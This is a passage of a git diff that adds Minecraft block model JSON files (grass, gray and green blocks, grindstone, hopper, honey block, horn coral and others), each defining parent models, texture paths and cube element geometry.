00000000..b995d75c --- /dev/null +++ b/src/assets/minecraft/models/block/granite_wall_side_tall.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_side_tall", + "textures": { + "wall": "minecraft:block/granite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/grass.json b/src/assets/minecraft/models/block/grass.json new file mode 100644 index 00000000..5ffdca5a --- /dev/null +++ b/src/assets/minecraft/models/block/grass.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/tinted_cross", + "textures": { + "cross": "minecraft:block/grass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/grass_block.json b/src/assets/minecraft/models/block/grass_block.json new file mode 100644 index 00000000..94c521cb --- /dev/null +++ b/src/assets/minecraft/models/block/grass_block.json @@ -0,0 +1,31 @@ +{ "parent": "block/block", + "textures": { + "particle": "block/dirt", + "bottom": "block/dirt", + "top": "block/grass_block_top", + "side": "block/grass_block_side", + "overlay": "block/grass_block_side_overlay" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 16, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#bottom", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#top", "cullface": "up", "tintindex": 0 }, + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#side", "cullface": "north" }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#side", "cullface": "south" }, + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#side", "cullface": "west" }, + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#side", "cullface": "east" } + } + }, + { "from": [ 0, 0, 0 ], + "to": [ 16, 16, 16 ], + "faces": { + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#overlay", "tintindex": 0, "cullface": "north" }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#overlay", "tintindex": 0, "cullface": "south" }, + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#overlay", "tintindex": 0, "cullface": "west" }, + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#overlay", "tintindex": 0, "cullface": "east" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/grass_block_snow.json b/src/assets/minecraft/models/block/grass_block_snow.json new file mode 100644 index 00000000..7b23d1df --- /dev/null +++ b/src/assets/minecraft/models/block/grass_block_snow.json @@ -0,0 +1,9 @@ +{ + "parent": "minecraft:block/cube_bottom_top", + "textures": { + "top": "minecraft:block/grass_block_top", + "bottom": "minecraft:block/dirt", + "side": "minecraft:block/grass_block_snow", + "particle": "minecraft:block/dirt" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/grass_path.json b/src/assets/minecraft/models/block/grass_path.json new file mode 100644 index 00000000..b922acbe --- /dev/null +++ b/src/assets/minecraft/models/block/grass_path.json @@ -0,0 +1,21 @@ +{ "parent": "block/block", + "textures": { + "particle": "block/dirt", + "top": "block/grass_path_top", + "side": "block/grass_path_side", + "bottom": "block/dirt" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 15, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#bottom", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#top" }, + "north": { "uv": [ 0, 1, 16, 16 ], "texture": "#side", "cullface": "north" }, + "south": { "uv": [ 0, 1, 16, 16 ], "texture": "#side", "cullface": "south" }, + "west": { "uv": [ 0, 1, 16, 16 ], "texture": "#side", "cullface": "west" }, + "east": { "uv": [ 0, 1, 16, 16 ], "texture": "#side", "cullface": "east" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/gravel.json b/src/assets/minecraft/models/block/gravel.json new file mode 100644 index 00000000..ed35aa8b --- /dev/null +++ b/src/assets/minecraft/models/block/gravel.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/gravel" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/gray_carpet.json b/src/assets/minecraft/models/block/gray_carpet.json new file mode 100644 index 00000000..1924a401 --- /dev/null +++ b/src/assets/minecraft/models/block/gray_carpet.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/carpet", + "textures": { + "wool": "minecraft:block/gray_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/gray_concrete.json b/src/assets/minecraft/models/block/gray_concrete.json new file mode 100644 index 00000000..12c16a3b --- /dev/null +++ b/src/assets/minecraft/models/block/gray_concrete.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/gray_concrete" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/gray_concrete_powder.json b/src/assets/minecraft/models/block/gray_concrete_powder.json new file mode 100644 index 00000000..69ca2d0c --- /dev/null +++ b/src/assets/minecraft/models/block/gray_concrete_powder.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/gray_concrete_powder" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/gray_glazed_terracotta.json b/src/assets/minecraft/models/block/gray_glazed_terracotta.json new file mode 100644 index 00000000..4b8e268b --- /dev/null +++ b/src/assets/minecraft/models/block/gray_glazed_terracotta.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glazed_terracotta", + "textures": { + "pattern": "minecraft:block/gray_glazed_terracotta" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/gray_shulker_box.json b/src/assets/minecraft/models/block/gray_shulker_box.json new file mode 100644 index 00000000..93cae990 --- /dev/null +++ b/src/assets/minecraft/models/block/gray_shulker_box.json @@ -0,0 +1,5 @@ +{ + "textures": { + "particle": "minecraft:block/gray_shulker_box" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/gray_stained_glass.json b/src/assets/minecraft/models/block/gray_stained_glass.json new file mode 100644 index 00000000..4255772e --- /dev/null +++ b/src/assets/minecraft/models/block/gray_stained_glass.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/gray_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/gray_stained_glass_pane_noside.json b/src/assets/minecraft/models/block/gray_stained_glass_pane_noside.json new file mode 100644 index 00000000..5ee05c4d --- /dev/null +++ b/src/assets/minecraft/models/block/gray_stained_glass_pane_noside.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glass_pane_noside", + "textures": { + "pane": "minecraft:block/gray_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/gray_stained_glass_pane_noside_alt.json b/src/assets/minecraft/models/block/gray_stained_glass_pane_noside_alt.json new file mode 100644 index 00000000..4ea84aa6 --- /dev/null +++ b/src/assets/minecraft/models/block/gray_stained_glass_pane_noside_alt.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glass_pane_noside_alt", + "textures": { + "pane": "minecraft:block/gray_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/gray_stained_glass_pane_post.json b/src/assets/minecraft/models/block/gray_stained_glass_pane_post.json new file mode 100644 index 00000000..afaeabaf --- /dev/null +++ b/src/assets/minecraft/models/block/gray_stained_glass_pane_post.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_post", + "textures": { + "pane": "minecraft:block/gray_stained_glass", + "edge": "minecraft:block/gray_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/gray_stained_glass_pane_side.json b/src/assets/minecraft/models/block/gray_stained_glass_pane_side.json new file mode 100644 index 00000000..d3887932 --- /dev/null +++ b/src/assets/minecraft/models/block/gray_stained_glass_pane_side.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_side", + "textures": { + "pane": "minecraft:block/gray_stained_glass", + "edge": "minecraft:block/gray_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/gray_stained_glass_pane_side_alt.json b/src/assets/minecraft/models/block/gray_stained_glass_pane_side_alt.json new file mode 100644 index 00000000..bb0668e0 --- /dev/null +++ b/src/assets/minecraft/models/block/gray_stained_glass_pane_side_alt.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_side_alt", + "textures": { + "pane": "minecraft:block/gray_stained_glass", + "edge": "minecraft:block/gray_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/gray_terracotta.json b/src/assets/minecraft/models/block/gray_terracotta.json new file mode 100644 index 00000000..eae31cf9 --- /dev/null +++ b/src/assets/minecraft/models/block/gray_terracotta.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/gray_terracotta" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/gray_wool.json b/src/assets/minecraft/models/block/gray_wool.json new file mode 100644 index 00000000..26140233 --- /dev/null +++ b/src/assets/minecraft/models/block/gray_wool.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/gray_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/green_carpet.json b/src/assets/minecraft/models/block/green_carpet.json new file mode 100644 index 00000000..8d253d4b --- /dev/null +++ b/src/assets/minecraft/models/block/green_carpet.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/carpet", + "textures": { + "wool": "minecraft:block/green_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/green_concrete.json b/src/assets/minecraft/models/block/green_concrete.json new file mode 100644 index 00000000..98a35206 --- /dev/null +++ b/src/assets/minecraft/models/block/green_concrete.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/green_concrete" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/green_concrete_powder.json b/src/assets/minecraft/models/block/green_concrete_powder.json new file mode 100644 index 00000000..b783da03 --- /dev/null +++ b/src/assets/minecraft/models/block/green_concrete_powder.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/green_concrete_powder" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/green_glazed_terracotta.json b/src/assets/minecraft/models/block/green_glazed_terracotta.json new file mode 100644 index 00000000..5238d5d3 --- /dev/null +++ b/src/assets/minecraft/models/block/green_glazed_terracotta.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glazed_terracotta", + "textures": { + "pattern": "minecraft:block/green_glazed_terracotta" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/green_shulker_box.json b/src/assets/minecraft/models/block/green_shulker_box.json new file mode 100644 index 00000000..7b07e640 --- /dev/null +++ b/src/assets/minecraft/models/block/green_shulker_box.json @@ -0,0 +1,5 @@ +{ + "textures": { + "particle": "minecraft:block/green_shulker_box" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/green_stained_glass.json b/src/assets/minecraft/models/block/green_stained_glass.json new file mode 100644 index 00000000..9eb3adad --- /dev/null +++ b/src/assets/minecraft/models/block/green_stained_glass.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/green_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/green_stained_glass_pane_noside.json b/src/assets/minecraft/models/block/green_stained_glass_pane_noside.json new file mode 100644 index 00000000..3b91e355 --- /dev/null +++ b/src/assets/minecraft/models/block/green_stained_glass_pane_noside.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glass_pane_noside", + "textures": { + "pane": "minecraft:block/green_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/green_stained_glass_pane_noside_alt.json b/src/assets/minecraft/models/block/green_stained_glass_pane_noside_alt.json new file mode 100644 index 00000000..1791ed8f --- /dev/null +++ b/src/assets/minecraft/models/block/green_stained_glass_pane_noside_alt.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glass_pane_noside_alt", + "textures": { + "pane": "minecraft:block/green_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/green_stained_glass_pane_post.json b/src/assets/minecraft/models/block/green_stained_glass_pane_post.json new file mode 100644 index 00000000..94b1ef94 --- /dev/null +++ b/src/assets/minecraft/models/block/green_stained_glass_pane_post.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_post", + "textures": { + "pane": "minecraft:block/green_stained_glass", + "edge": "minecraft:block/green_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/green_stained_glass_pane_side.json b/src/assets/minecraft/models/block/green_stained_glass_pane_side.json new file mode 100644 index 00000000..ea56a816 --- /dev/null +++ b/src/assets/minecraft/models/block/green_stained_glass_pane_side.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_side", + "textures": { + "pane": "minecraft:block/green_stained_glass", + "edge": "minecraft:block/green_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/green_stained_glass_pane_side_alt.json b/src/assets/minecraft/models/block/green_stained_glass_pane_side_alt.json new file mode 100644 index 00000000..efd598a1 --- /dev/null +++ b/src/assets/minecraft/models/block/green_stained_glass_pane_side_alt.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_side_alt", + "textures": { + "pane": "minecraft:block/green_stained_glass", + "edge": "minecraft:block/green_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/green_terracotta.json b/src/assets/minecraft/models/block/green_terracotta.json new file mode 100644 index 00000000..8c139007 --- /dev/null +++ b/src/assets/minecraft/models/block/green_terracotta.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/green_terracotta" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/green_wool.json b/src/assets/minecraft/models/block/green_wool.json new file mode 100644 index 00000000..79b5a21f --- /dev/null +++ b/src/assets/minecraft/models/block/green_wool.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/green_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/grindstone.json b/src/assets/minecraft/models/block/grindstone.json new file mode 100644 index 00000000..cc5e0f1f --- /dev/null +++ b/src/assets/minecraft/models/block/grindstone.json @@ -0,0 +1,68 @@ +{ + "parent": "block/block", + "textures": { + "pivot": "block/grindstone_pivot", + "round": "block/grindstone_round", + "side": "block/grindstone_side", + "particle": "block/grindstone_side", + "leg": "block/dark_oak_log" + }, + "elements": [ + { + "from": [12, 0, 6], + "to": [14, 7, 10], + "faces": { + "north": {"uv": [2, 9, 4, 16], "texture": "#leg"}, + "east": {"uv": [10, 16, 6, 9], "texture": "#leg"}, + "south": {"uv": [12, 9, 14, 16], "texture": "#leg"}, + "west": {"uv": [6, 9, 10, 16], "texture": "#leg"}, + "down": {"uv": [12, 6, 14, 10], "texture": "#leg", "cullface": "down" } + } + }, + { + "from": [2, 0, 6], + "to": [4, 7, 10], + "faces": { + "north": {"uv": [12, 9, 14, 16], "texture": "#leg"}, + "east": {"uv": [10, 16, 6, 9], "texture": "#leg"}, + "south": {"uv": [2, 9, 4, 16], "texture": "#leg"}, + "west": {"uv": [6, 9, 10, 16], "texture": "#leg"}, + "down": {"uv": [2, 6, 4, 10], "texture": "#leg", "cullface": "down"} + } + }, + { + "from": [12, 7, 5], + "to": [14, 13, 11], + "faces": { + "north": {"uv": [6, 0, 8, 6], "texture": "#pivot"}, + "east": {"uv": [0, 0, 6, 6], "texture": "#pivot"}, + "south": {"uv": [6, 0, 8, 6], "texture": "#pivot"}, + "up": {"uv": [8, 0, 10, 6], "texture": "#pivot"}, + "down": {"uv": [8, 0, 10, 6], "texture": "#pivot"} + } + }, + { + "from": [2, 7, 5], + "to": [4, 13, 11], + "faces": { + "north": {"uv": [6, 0, 8, 6], "texture": "#pivot"}, + "south": {"uv": [6, 0, 8, 6], "texture": "#pivot"}, + "west": {"uv": [0, 0, 6, 6], "texture": "#pivot"}, + "up": {"uv": [8, 0, 10, 6], "texture": "#pivot"}, + "down": {"uv": [8, 0, 10, 6], "texture": "#pivot"} + } + }, + { + "from": [4, 4, 2], + "to": [12, 16, 14], + "faces": { + "north": {"uv": [0, 0, 8, 12], "texture": "#round"}, + "east": {"uv": [0, 0, 12, 12], "texture": "#side"}, + "south": {"uv": [0, 0, 8, 12], "texture": "#round"}, + "west": {"uv": [0, 0, 12, 12], "texture": "#side"}, + "up": {"uv": [0, 0, 8, 12], "texture": "#round", "cullface": "up" }, + "down": {"uv": [0, 0, 8, 12], "texture": "#round"} + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/hay_block.json b/src/assets/minecraft/models/block/hay_block.json new file mode 100644 index 00000000..6c0c225b --- /dev/null +++ b/src/assets/minecraft/models/block/hay_block.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/hay_block_top", + "side": "minecraft:block/hay_block_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/hay_block_horizontal.json b/src/assets/minecraft/models/block/hay_block_horizontal.json new file mode 100644 index 00000000..6e7df90b --- /dev/null +++ b/src/assets/minecraft/models/block/hay_block_horizontal.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column_horizontal", + "textures": { + "end": "minecraft:block/hay_block_top", + "side": "minecraft:block/hay_block_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/heavy_weighted_pressure_plate.json b/src/assets/minecraft/models/block/heavy_weighted_pressure_plate.json new file mode 100644 index 00000000..d0dd064d --- /dev/null +++ b/src/assets/minecraft/models/block/heavy_weighted_pressure_plate.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/pressure_plate_up", + "textures": { + "texture": "minecraft:block/iron_block" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/heavy_weighted_pressure_plate_down.json b/src/assets/minecraft/models/block/heavy_weighted_pressure_plate_down.json new file mode 100644 index 00000000..dae1bb48 --- /dev/null +++ b/src/assets/minecraft/models/block/heavy_weighted_pressure_plate_down.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/pressure_plate_down", + "textures": { + "texture": "minecraft:block/iron_block" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/honey_block.json b/src/assets/minecraft/models/block/honey_block.json new file mode 100644 index 00000000..d3dd49f9 --- /dev/null +++ b/src/assets/minecraft/models/block/honey_block.json @@ -0,0 +1,33 @@ +{ "parent": "block/block", + "textures": { + "particle": "block/honey_block_top", + "down": "block/honey_block_bottom", + "up": "block/honey_block_top", + "side": "block/honey_block_side" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 16, 16 ], + "faces": { + "down": { "texture": "#down", "cullface": "down" }, + "up": { "texture": "#down", "cullface": "up" }, + "north": { "texture": "#down", "cullface": "north" }, + "south": { "texture": "#down", "cullface": "south" }, + "west": { "texture": "#down", "cullface": "west" }, + "east": { "texture": "#down", "cullface": "east" } + } + }, + { "from": [ 1, 1, 1 ], + "to": [ 15, 15, 15 ], + "faces": { + "down": { "uv": [ 1, 1, 15, 15 ], "texture": "#down"}, + "up": { "uv": [ 1, 1, 15, 15 ], "texture": "#up"}, + "north": { "uv": [ 1, 1, 15, 15 ], "texture": "#side"}, + "south": { "uv": [ 1, 1, 15, 15 ], "texture": "#side"}, + "west": { "uv": [ 1, 1, 15, 15 ], "texture": "#side"}, + "east": { "uv": [ 1, 1, 15, 15 ], "texture": "#side"} + } + } + ] +} + diff --git a/src/assets/minecraft/models/block/honeycomb_block.json b/src/assets/minecraft/models/block/honeycomb_block.json new file mode 100644 index 00000000..4421b231 --- /dev/null +++ b/src/assets/minecraft/models/block/honeycomb_block.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/honeycomb_block" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/hopper.json b/src/assets/minecraft/models/block/hopper.json new file mode 100644 index 00000000..32a4e191 --- /dev/null +++ b/src/assets/minecraft/models/block/hopper.json @@ -0,0 +1,78 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/hopper_outside", + "top": "block/hopper_top", + "side": "block/hopper_outside", + "inside": "block/hopper_inside" + }, + "elements": [ + { "from": [ 0, 10, 0 ], + "to": [ 16, 11, 16 ], + "faces": { + "down": { "texture": "#side" }, + "up": { "texture": "#inside", "cullface": "up" }, + "north": { "texture": "#side", "cullface": "north" }, + "south": { "texture": "#side", "cullface": "south" }, + "west": { "texture": "#side", "cullface": "west" }, + "east": { "texture": "#side", "cullface": "east" } + } + }, + { "from": [ 0, 11, 0 ], + "to": [ 2, 16, 16 ], + "faces": { + "up": { "texture": "#top", "cullface": "up" }, + "north": { "texture": "#side", "cullface": "north" }, + "south": { "texture": "#side", "cullface": "south" }, + "west": { "texture": "#side", "cullface": "west" }, + "east": { "texture": "#side", "cullface": "up" } + } + }, + { "from": [ 14, 11, 0 ], + "to": [ 16, 16, 16 ], + "faces": { + "up": { "texture": "#top", "cullface": "up" }, + "north": { "texture": "#side", "cullface": "north" }, + "south": { "texture": "#side", "cullface": "south" }, + "west": { "texture": "#side", "cullface": "up" }, + "east": { "texture": "#side", "cullface": "east" } + } + }, + { "from": [ 2, 11, 0 ], + "to": [ 14, 16, 2 ], + "faces": { + "up": { "texture": "#top", "cullface": "up" }, + "north": { "texture": "#side", "cullface": "north" }, + "south": { "texture": "#side", "cullface": "up" } + } + }, + { "from": [ 2, 11, 14 ], + "to": [ 14, 16, 16 ], + "faces": { + "up": { "texture": "#top", "cullface": "up" }, + "north": { "texture": "#side", "cullface": "up" }, + "south": { "texture": "#side", "cullface": "south" } + } + }, + { "from": [ 4, 4, 4 ], + "to": [ 12, 10, 12 ], + "faces": { + "down": { "texture": "#side" }, + "north": { "texture": "#side" }, + "south": { "texture": "#side" }, + "west": { "texture": "#side" }, + "east": { "texture": "#side" } + } + }, + { "from": [ 6, 0, 6 ], + "to": [ 10, 4, 10 ], + "faces": { + "down": { "texture": "#side", "cullface": "down" }, + "north": { "texture": "#side" }, + "south": { "texture": "#side" }, + "west": { "texture": "#side" }, + "east": { "texture": "#side" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/hopper_side.json b/src/assets/minecraft/models/block/hopper_side.json new file mode 100644 index 00000000..321c332f --- /dev/null +++ b/src/assets/minecraft/models/block/hopper_side.json @@ -0,0 +1,78 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/hopper_outside", + "top": "block/hopper_top", + "side": "block/hopper_outside", + "inside": "block/hopper_inside" + }, + "elements": [ + { "from": [ 0, 10, 0 ], + "to": [ 16, 11, 16 ], + "faces": { + "down": { "texture": "#side" }, + "up": { "texture": "#inside", "cullface": "up" }, + "north": { "texture": "#side", "cullface": "north" }, + "south": { "texture": "#side", "cullface": "south" }, + "west": { "texture": "#side", "cullface": "west" }, + "east": { "texture": "#side", "cullface": "east" } + } + }, + { "from": [ 0, 11, 0 ], + "to": [ 2, 16, 16 ], + "faces": { + "up": { "texture": "#top", "cullface": "up" }, + "north": { "texture": "#side", "cullface": "north" }, + "south": { "texture": "#side", "cullface": "south" }, + "west": { "texture": "#side", "cullface": "west" }, + "east": { "texture": "#side", "cullface": "up" } + } + }, + { "from": [ 14, 11, 0 ], + "to": [ 16, 16, 16 ], + "faces": { + "up": { "texture": "#top", "cullface": "up" }, + "north": { "texture": "#side", "cullface": "north" }, + "south": { "texture": "#side", "cullface": "south" }, + "west": { "texture": "#side", "cullface": "up" }, + "east": { "texture": "#side", "cullface": "east" } + } + }, + { "from": [ 2, 11, 0 ], + "to": [ 14, 16, 2 ], + "faces": { + "up": { "texture": "#top", "cullface": "up" }, + "north": { "texture": "#side", "cullface": "north" }, + "south": { "texture": "#side", "cullface": "up" } + } + }, + { "from": [ 2, 11, 14 ], + "to": [ 14, 16, 16 ], + "faces": { + "up": { "texture": "#top", "cullface": "up" }, + "north": { "texture": "#side", "cullface": "up" }, + "south": { "texture": "#side", "cullface": "south" } + } + }, + { "from": [ 4, 4, 4 ], + "to": [ 12, 10, 12 ], + "faces": { + "down": { "texture": "#side" }, + "north": { "texture": "#side" }, + "south": { "texture": "#side" }, + "west": { "texture": "#side" }, + "east": { "texture": "#side" } + } + }, + { "from": [ 6, 4, 0 ], + "to": [ 10, 8, 4 ], + "faces": { + "down": { "texture": "#side" }, + "up": { "texture": "#side" }, + "north": { "texture": "#side", "cullface": "north" }, + "west": { "texture": "#side" }, + "east": { "texture": "#side" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/horn_coral.json b/src/assets/minecraft/models/block/horn_coral.json new file mode 100644 index 00000000..2b976df7 --- /dev/null +++ b/src/assets/minecraft/models/block/horn_coral.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/horn_coral" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/horn_coral_block.json b/src/assets/minecraft/models/block/horn_coral_block.json new file mode 100644 index 00000000..5ab74af9 --- /dev/null +++ b/src/assets/minecraft/models/block/horn_coral_block.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/horn_coral_block" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/horn_coral_fan.json b/src/assets/minecraft/models/block/horn_coral_fan.json new file mode 100644 index 00000000..01598b87 --- /dev/null +++ b/src/assets/minecraft/models/block/horn_coral_fan.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/coral_fan", + "textures": { + "fan": "minecraft:block/horn_coral_fan" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/horn_coral_wall_fan.json b/src/assets/minecraft/models/block/horn_coral_wall_fan.json new file mode 100644 index 00000000..68001f16 --- /dev/null +++ b/src/assets/minecraft/models/block/horn_coral_wall_fan.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/coral_wall_fan", + "textures": { + "fan": "minecraft:block/horn_coral_fan" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/ice.json b/src/assets/minecraft/models/block/ice.json new file mode 100644 index 00000000..cfe53a03 --- /dev/null +++ b/src/assets/minecraft/models/block/ice.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/ice" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/inner_stairs.json b/src/assets/minecraft/models/block/inner_stairs.json new file mode 100644 index 00000000..364eff63 --- /dev/null +++ b/src/assets/minecraft/models/block/inner_stairs.json @@ -0,0 +1,37 @@ +{ + "textures": { + "particle": "#side" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 8, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#bottom", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#top" }, + "north": { "uv": [ 0, 8, 16, 16 ], "texture": "#side", "cullface": "north" }, + "south": { "uv": [ 0, 8, 16, 16 ], "texture": "#side", "cullface": "south" }, + "west": { "uv": [ 0, 8, 16, 16 ], "texture": "#side", "cullface": "west" }, + "east": { "uv": [ 0, 8, 16, 16 ], "texture": "#side", "cullface": "east" } + } + }, + { "from": [ 8, 8, 0 ], + "to": [ 16, 16, 16 ], + "faces": { + "up": { "uv": [ 8, 0, 16, 16 ], "texture": "#top", "cullface": "up" }, + "north": { "uv": [ 0, 0, 8, 8 ], "texture": "#side", "cullface": "north" }, + "south": { "uv": [ 8, 0, 16, 8 ], "texture": "#side", "cullface": "south" }, + "west": { "uv": [ 0, 0, 16, 8 ], "texture": "#side" }, + "east": { "uv": [ 0, 0, 16, 8 ], "texture": "#side", "cullface": "east" } + } + }, + { "from": [ 0, 8, 8 ], + "to": [ 8, 16, 16 ], + "faces": { + "up": { "uv": [ 0, 8, 8, 16 ], "texture": "#top", "cullface": "up" }, + "north": { "uv": [ 8, 0, 16, 8 ], "texture": "#side" }, + "south": { "uv": [ 0, 0, 8, 8 ], "texture": "#side", "cullface": "south" }, + "west": { "uv": [ 8, 0, 16, 8 ], "texture": "#side", "cullface": "west" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/iron_bars_cap.json b/src/assets/minecraft/models/block/iron_bars_cap.json new file mode 100644 index 00000000..8790100a --- /dev/null +++ b/src/assets/minecraft/models/block/iron_bars_cap.json @@ -0,0 +1,24 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/iron_bars", + "bars": "block/iron_bars", + "edge": "block/iron_bars" + }, + "elements": [ + { "from": [ 8, 0, 8 ], + "to": [ 8, 16, 9 ], + "faces": { + "west": { "uv": [ 8, 0, 7, 16 ], "texture": "#bars" }, + "east": { "uv": [ 7, 0, 8, 16 ], "texture": "#bars" } + } + }, + { "from": [ 7, 0, 9 ], + "to": [ 9, 16, 9 ], + "faces": { + "north": { "uv": [ 9, 0, 7, 16 ], "texture": "#bars" }, + "south": { "uv": [ 7, 0, 9, 16 ], "texture": "#bars" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/iron_bars_cap_alt.json b/src/assets/minecraft/models/block/iron_bars_cap_alt.json new file mode 100644 index 00000000..0352a9d4 --- /dev/null +++ b/src/assets/minecraft/models/block/iron_bars_cap_alt.json @@ -0,0 +1,24 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/iron_bars", + "bars": 